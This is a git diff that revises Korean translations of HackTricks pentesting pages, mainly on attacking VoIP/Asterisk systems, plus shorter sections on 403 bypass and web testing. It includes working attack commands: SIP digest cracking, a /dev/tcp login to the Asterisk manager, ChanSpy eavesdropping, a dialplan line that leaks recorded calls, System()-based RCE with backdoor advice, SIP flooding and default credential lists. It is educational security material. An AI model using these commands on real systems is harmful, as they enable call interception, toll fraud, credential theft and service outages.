[**SIP REGISTER 통신**을 더 잘 이해하기 위한 이 예제를 확인하세요](basic-voip-protocols/sip-session-initiation-protocol.md#sip-register-example) **자격 증명이 어떻게 전송되는지** 배우기 위해.
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 SIP 프로토콜 내에서 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
* **`sipdump`** & **`sipcrack`,** **sipcrack**의 일부(`apt-get install sipcrack`): 이 도구들은 **pcap**에서 SIP 프로토콜 내의 **다이제스트 인증**을 **추출**하고 **브루트포스**할 수 있습니다.
```bash
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
@ -341,11 +341,11 @@ sippts tshark -f capture.pcap [-filter auth]
#### DTMF 코드
**SIP 자격 증명**뿐만 아니라 네트워크 트래픽에서 **음성 메일**에 접근하는 데 사용되는 DTMF 코드를 찾는 것도 가능합니다.\
이 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송 수 있습니다. RTP 패킷 내에 코드가 있는 경우 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
러한 코드는 **INFO SIP 메시지**, **오디오** 또는 **RTP 패킷** 내에서 전송 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
```bash
multimon -a DTMF -t wac pin.wav
```
### 무료 통화 / Asterisks 연결 잘못 구성
### 무료 통화 / Asterisk 연결 잘못 구성
Asterisk에서는 **특정 IP 주소**에서의 연결 또는 **모든 IP 주소**에서의 연결을 허용할 수 있습니다:
```
@ -360,7 +360,7 @@ If an IP address is specified, the host **등록 요청을 주기적으로 보
* **`type=friend`**: 피어로 전화를 걸고 사용자로서 받을 수 있습니다 (확장과 함께 사용됨)
* **`type=peer`**: 피어로 전화를 보내고 받을 수 있습니다 (SIP 트렁크)
불안전한 변수를 사용하여 신뢰를 설정할 수도 있습니다:
불안전한 변수로 신뢰를 설정하는 것도 가능합니다:
* **`insecure=port`**: IP로 검증된 피어 연결을 허용합니다.
* **`insecure=invite`**: INVITE 메시지에 대한 인증이 필요하지 않습니다.
@ -411,9 +411,9 @@ include => external
게다가 기본적으로 **`sip.conf`** 파일에는 **`allowguest=true`**가 포함되어 있으므로 **인증 없이** **어떤** 공격자도 다른 번호로 전화를 걸 수 있습니다.
{% endhint %}
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS 초대**PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
* **`SIPPTS invite`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS invite**PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지** 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
{% code overflow="wrap" %}
```bash
@ -468,7 +468,7 @@ exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
## SIPDigestLeak 취약점
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로 포함)와 같은 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며** 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로) 등 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 **비밀번호로부터 계산된 Digest 인증 응답의 유출**을 허용합니다. **오프라인 비밀번호 공격이 가능해지며**, 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
**[여기에서의 취약점 시나리오**](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf):
@ -476,7 +476,7 @@ SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑
2. 공격자가 IP 전화에 INVITE를 보냅니다.
3. 피해자 전화가 울리기 시작하고 누군가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
4. 전화가 끊어지면 **피해자 전화가 공격자에게 BYE를 보냅니다**.
5. **공격자가 407 응답을 발행**하여 **인증을 요청**하고 인증 도전을 발행합니다.
5. **공격자가 407 응답을 발행**하여 **인증을 요청하고 인증 도전을 발행합니다**.
6. **피해자 전화가 두 번째 BYE에서 인증 도전에 대한 응답을 제공합니다**.
7. **공격자는 자신의 로컬 머신(또는 분산 네트워크 등)에서 도전 응답에 대한 무차별 대입 공격을 수행할 수 있으며** 비밀번호를 추측할 수 있습니다.
@ -503,7 +503,7 @@ Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100
```
### Click2Call
Click2Call은 **웹 사용자**(예를 들어, 제품에 관심이 있는 사용자)가 **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결**됩니다.
Click2Call은 **웹 사용자**가 (예를 들어, 제품에 관심이 있을 수 있는) **전화번호**를 **제공**하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 **전화를 받으면** 사용자와 **상담원이 연결됩니다**.
이와 관련된 일반적인 Asterisk 프로필은:
```scss
@ -516,7 +516,7 @@ read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
```
* 이전 프로필은 **모든 IP 주소가 연결할 수 있도록 허용**하고 있습니다 (비밀번호가 알려진 경우).
* 이전에 명시된 대로 **전화를 조직하기 위해**는 **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
* 이전에 지정된 대로 **전화를 조직하기 위해**는 **읽기 권한이 필요하지 않으며** **오직** **쓰기**에서 **발신**만 필요합니다.
이러한 권한으로 비밀번호를 아는 모든 IP가 연결하여 너무 많은 정보를 추출할 수 있습니다, 예를 들어:
@ -533,9 +533,9 @@ exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecr
Asterisk에서는 **`ChanSpy`** 명령어를 사용하여 **모니터링할 내선**(또는 모든 내선)을 지정하여 진행 중인 대화를 들을 수 있습니다. 이 명령어는 내선에 할당되어야 합니다.
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 상호작용을 원하지 않기 때문입니다. **`*`**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
예를 들어, **`exten => 333,1,ChanSpy('all',qb)`**는 **내선 333**으로 **전화**를 걸면 **모든** 내선을 **모니터링**하고, 새로운 대화가 시작될 때마다 (**`b`**) 조용한 모드(**`q`**)로 **듣기 시작**함을 나타냅니다. 우리는 이에 상호작용하고 싶지 않기 때문입니다. **`*`**를 눌러서 진행 중인 대화에서 다른 대화로 이동하거나 내선 번호를 입력할 수 있습니다.
**`ExtenSpy`**를 사용하여 하나의 내선만 모니터링하는 것도 가능합니다.
하나의 내선만 모니터링하기 위해 **`ExtenSpy`**를 사용할 수도 있습니다.
대화를 듣는 대신, 다음과 같은 내선을 사용하여 **파일에 기록**할 수 있습니다:
@ -549,15 +549,15 @@ exten => _X.,2,MixMonitor(${NAME})
통화는 **`/tmp`**에 저장됩니다.
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 만들 수도 있습니다.
Asterisk가 통화가 종료될 때 **통화를 유출하는 스크립트를 실행**하도록 수도 있습니다.
```scss
exten => h,1,System(/tmp/leak_conv.sh &)
```
### RTCPBleed 취약점
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 **RTP(실시간 프로토콜) 트래픽**이 **인터넷의 누구나 가로채고 리디렉션할 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
**RTCPBleed**는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 **RTP(Real Time Protocol) 트래픽**이 **인터넷의 누구나 가로채고 리디렉션할 수 있도록** 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 **NAT 제한**을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 **IP 및 포트 튜플을 자동으로 학습하는 메커니즘**을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출발지 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, **어떠한 종류의 인증도 사용하지 않습니다**. 따라서 **공격자**는 **RTP 프록시로 RTP 트래픽을 전송하고** 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
RTP 프록시와 RTP 스택의 또 다른 흥미로운 동작은 때때로 **RTP Bleed에 취약하지 않더라도** **모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리**한다는 것입니다. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
@ -573,7 +573,7 @@ sippts rtpbleed -i 10.10.0.10
```bash
sippts rtcpbleed -i 10.10.0.10
```
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
* **`SIPPTS rtpbleedflood`** from [**sippts**](https://github.com/Pepelux/sippts)**:** SIPPTS rtpbleedflood RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
```bash
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
```
@ -583,14 +583,14 @@ sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
```
### RCE
Asterisk에서 어떻게든 **확장 규칙을 추가하고 이를 다시 로드**할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령어를 사용하여 RCE를 얻을 수 있습니다.
Asterisk에서 어떻게든 **확장 규칙을 추가하고 다시 로드할 수 있는** 방법을 찾으면(예: 취약한 웹 관리자 서버를 타겟으로 삼아), **`System`** 명령을 사용하여 RCE를 얻을 수 있습니다.
```scss
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
```
There is command called **`Shell`** that could be used **instead of `System`** to execute system commands if necessary.
{% hint style="warning" %}
서버가 **`System`** 명령에서 **특정 문자의 사용을 금지**하고 있는 경우(예: Elastix), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지** 확인하고(예: Elastix 또는 trixbox), 이를 사용하여 **백도어 스크립트**를 **생성**한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
서버가 **`System`** 명령에서 **특정 문자의 사용을 금지하고 있는 경우** (Elastix와 같은 경우), 웹 서버가 **시스템 내에서 파일을 생성할 수 있는지 확인**하고 (Elastix 또는 trixbox와 같은 경우), 이를 사용하여 **백도어 스크립트**를 **생성**한 다음 **`System`**을 사용하여 해당 **스크립트**를 **실행**하십시오.
{% endhint %}
#### 흥미로운 로컬 파일 및 권한
@ -605,7 +605,7 @@ There is command called **`Shell`** that could be used **instead of `System`** t
* 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
* **`Elastix`**
* **`Elastix.conf`** -> mysql root 비밀번호, IMAPd 비밀번호, 웹 관리자 비밀번호와 같은 여러 비밀번호를 평문으로 포함합니다.
* **여러 폴더**는 손상된 asterisk 사용자에게 속합니다(루트로 실행되지 않는 경우). 이 사용자는 이전 파일을 읽을 수 있으며 구성도 제어하므로 Asterisk가 실행될 때 다른 백도어가 있는 바이너리를 로드하도록 만들 수 있습니다.
* **여러 폴더**는 손상된 asterisk 사용자에게 속합니다 (root로 실행되지 않는 경우). 이 사용자는 이전 파일을 읽을 수 있으며 구성도 제어하므로 Asterisk가 실행될 때 다른 백도어가 있는 바이너리를 로드하도록 만들 수 있습니다.
### RTP 주입
@ -617,9 +617,9 @@ There is command called **`Shell`** that could be used **instead of `System`** t
VoIP 서버에서 DoS를 달성하기 위한 여러 방법이 있습니다.
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 플러드는 대상에게 무제한 메시지를 전송합니다.
* **`SIPPTS flood`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 플러드는 대상에게 무제한 메시지를 보냅니다.
* `sippts flood -i 10.10.0.10 -m invite -v`
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIPPTS 핑은 서버 응답 시간을 확인하기 위해 SIP 핑을 보냅니다.
* **`SIPPTS ping`** from [**sippts**](https://github.com/Pepelux/sippts)**: SIP PING을 통해 서버 응답 시간을 확인합니다.
* `sippts ping -i 10.10.0.10`
* [**IAXFlooder**](https://www.kali.org/tools/iaxflood/): Asterisk에서 사용하는 DoS IAX 프로토콜
* [**inviteflood**](https://github.com/foreni-packages/inviteflood/blob/master/inviteflood/Readme.txt): UDP/IP를 통해 SIP/SDP INVITE 메시지 플러딩을 수행하는 도구입니다.
@ -630,7 +630,7 @@ VoIP 서버에서 DoS를 달성하기 위한 여러 방법이 있습니다.
### OS 취약점
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수** 있으며 **취약점**이 시간이 지남에 따라 발견될 것입니다.
Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이미 설치된 **OS 배포판**을 다운로드하는 것입니다. 예: **FreePBX, Elastix, Trixbox**... 문제는 작동하기 시작하면 시스템 관리자가 **다시 업데이트하지 않을 수 있으며** 시간이 지남에 따라 **취약점**이 발견될 것입니다.
## References
@ -642,24 +642,24 @@ Asterisk와 같은 소프트웨어를 설치하는 가장 쉬운 방법은 이
* [https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf](https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf)
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**Get a hacker's perspective on your web apps, network, and cloud**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내기 위해 20개 이상의 맞춤형 도구를 사용하고, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
<details>
<summary>HackTricks 지원하기</summary>
<summary>Support HackTricks</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **해킹 팁을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -17,9 +17,9 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드 보기
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -34,7 +34,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
## HTTP 헤더 퍼징
* **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 것](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)하여 리소스에 접근해 보세요.
* [**다른 사용자 에이전트 사용해 보기**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) 리소스에 접근해 보세요.
* **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
* `X-Originating-IP: 127.0.0.1`
@ -62,10 +62,10 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
## 경로 **퍼징**
_if /path_가 차단된 경우:
만약 _/path_가 차단되어 있다면:
* _**/**_**%2e/path_를 사용해 보세요 (접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한 **\_\*\* /%252e\*\*/path** (이중 URL 인코딩)를 시도해 보세요.
* **유니코드 우회**를 시도하세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
* _**/**_**%2e/path 사용해 보세요 _(접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩)도 시도해 보세요.
* **유니코드 우회** 시도: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
* **기타 경로 우회**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
@ -108,15 +108,15 @@ HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을
* 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
* 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경
* [**https://archive.org/web/**](https://archive.org/web/) 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경해 보세요.
* [**https://archive.org/web/**](https://archive.org/web/) 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인해 보세요.
## **브루트 포스**
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 챌린지 이름은 무엇인가요?
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트해 보세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 도전 이름은 무엇인가요?
* [**브루트 포스**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
{% code title="Common creds" %}
{% code title="일반 자격 증명" %}
```
admin admin
admin password
@ -140,9 +140,9 @@ guest guest
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,9 +17,9 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
**웹 앱, 네트워크 및 클라우드에 대한 해커의 관점을 얻으세요.**
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 여러분의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환하는 20개 이상의 맞춤형 도구를 사용하세요.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
@ -119,19 +119,19 @@ Search **for** [**웹 애플리케이션 버전의 취약점**](../../generic-me
* [**Wordpress**](wordpress.md)
* [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/)
_같은 도메인이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
_같은 **도메인**이 **다른 기술**을 **다른 포트**, **폴더** 및 **서브도메인**에서 사용할 수 있다는 점을 고려하세요._\
웹 애플리케이션이 이전에 나열된 잘 알려진 **기술/플랫폼**이나 **다른 것**을 사용하고 있다면, **인터넷에서** 새로운 트릭을 **검색하는 것을 잊지 마세요** (그리고 저에게 알려주세요!).
### 소스 코드 검토
애플리케이션의 **소스 코드**가 **github**에 있는 경우, 애플리케이션에 대해 **자신의 화이트 박스 테스트**를 수행하는 것 외에도 현재 **블랙 박스 테스트**에 **유용한 정보**가 있을 수 있습니다:
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있나요?
* **자격 증명**은 어떻게 어디에 저장되나요? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있나요?
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있거나 어떤 **해싱 알고리즘**이 사용되나요?
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있나요? 어떤 **알고리즘**이 사용되나요?
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있나요**?
* **github**에 (해결된 것과 해결되지 않은 것) **흥미로운 정보**가 있나요? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
* **변경 로그 또는 README 또는 버전** 파일이나 웹을 통해 접근 가능한 **버전 정보**가 있습니까?
* **자격 증명**은 어떻게 그리고 어디에 저장됩니까? 자격 증명(사용자 이름 또는 비밀번호)이 포함된 (접근 가능한?) **파일**이 있습니까?
* **비밀번호**는 **일반 텍스트**, **암호화**되어 있습니까, 아니면 어떤 **해싱 알고리즘**이 사용됩니까?
* 무언가를 암호화하기 위해 **마스터 키**를 사용하고 있습니까? 어떤 **알고리즘**이 사용됩니까?
* 어떤 취약점을 이용해 **이 파일들에 접근할 수 있습니까**?
* **github**에 (해결된 것과 해결되지 않은 것) **흥미로운 정보**가 있습니까? 또는 **커밋 기록**에 (아마도 **오래된 커밋에 입력된 비밀번호**)?
{% content-ref url="code-review-tools.md" %}
[code-review-tools.md](code-review-tools.md)
@ -187,21 +187,21 @@ joomlavs.rb #https://github.com/rastating/joomlavs
웹 서버는 이상한 데이터가 전송될 때 **예상치 못한 방식으로 동작할 수 있습니다**. 이는 **취약점**이나 **민감한 정보의 노출**을 열 수 있습니다.
* /whatever\_fake.php (.aspx, .html 등)와 같은 **가짜 페이지**에 접근
* /whatever\_fake.php (.aspx, .html, 등)와 같은 **가짜 페이지**에 접근하기
* **쿠키 값****매개변수** 값에 **"\[]", "]]", 및 "\[\["** 추가하여 오류 생성
* **URL**의 **끝**에 **`/~randomthing/%s`**로 입력하여 오류 생성
